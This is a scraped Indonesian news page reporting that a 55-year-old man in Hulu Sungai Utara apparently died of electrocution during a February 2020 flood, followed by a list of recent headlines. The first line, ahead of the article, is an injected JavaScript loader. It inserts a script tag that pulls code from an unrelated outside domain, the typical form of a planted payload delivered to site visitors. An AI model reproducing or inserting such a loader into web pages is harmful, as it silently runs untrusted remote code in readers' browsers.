(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Banjir di HSU Telan Korban Pria 55 Tahun, Diduga Tewas Tersengat Listrik


KANALKALIMANTAN, AMUNTAI – Banjir yang terjadi beberapa hari terakhir kembali menelan korban jiwa. Kali ini menimpa Sar’an (55), warga Desa Sungai Binuang Kecamatan Haur Gading, Kabupaten Hulu Sungai Utara (HSU), Senin (10/2/2020). Diduga, ia tewas setelah tersengat listrik saat banjir.

Kapolres HSU melalui Kapolsek Amuntai Utara Ipda Warsono menyatakan  keprihatinannya dengan musibah yang terjadi terhadap keluarga korban. “Semoga keluarga yang ditinggalkan tabah dan diharapkan kejadian ini tidak terulang. Untuk itu dihimbau kepada seluruh warga masyarakat agar lebih hati-hati lagi dengan fasilitas listrik yang masih mengalir di rumah warga yang terendam air. Amankan, matikan saja listrik yang membahayakan kita, bila perlu minta bantuan PLN yang ahlinya,” imbau Kapolsek Amuntai Utara kepada kanalkalimantan.com, Selasa (11/2/2020).

Menurut informasinya, peristiwa tersebut terjadi sekitar pukul 14.00 Wita saat air banjir masuk ke rumah Sar’an. Saat itu, dibantu anaknya bernama Noor Hayati (17), korban yang sedang berbenah menyelamatkan barang-barang dalam rumahnya berada di dapur. Sementara anaknya Noor Hayati berada di kamar.

Kapolsek Amuntai Utara dan Bhabinkamtibmas setempat bersama warga membantu prosesi pemakaman korban banjir. Foto: Dew

Tak begitu lama, Noor Hayati mendegar suara teriakan minta tolong korban yang berada di dapur, lantas membuat anaknya tersebut begegas keluar kamar. Naas, sang ayah ternyata sudah terbaring di lantai rumah yang tergenang air sekitar 10 cm.

Merasa panik Noor hayati kemudian keluar rumah untuk minta pertolongan warga agar mematikan KWH listrik yang ada di depan rumah. Dibantu oleh sejumlah tetangga, korban akhirnya sempat dilarikan  ke Puskesmas terdekat, namun dalam perjalanan nyawa korban tidak tertolong lagi. Akhirnya korban dibawa kembali ke rumah duka untuk di makamkan.

Menurut Kapolsek Ipda Warsono, dari laporannya pihak keluarga korban menolak untuk dilakukan tindakan Visum dan tindakan Autopsi terhadap Jenazah dengan alasan korban akan cepat dimakamkan karena dikawatirkan kondisi alkah yang hampir tenggelam karena banjir.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

2 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

4 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

4 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

5 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.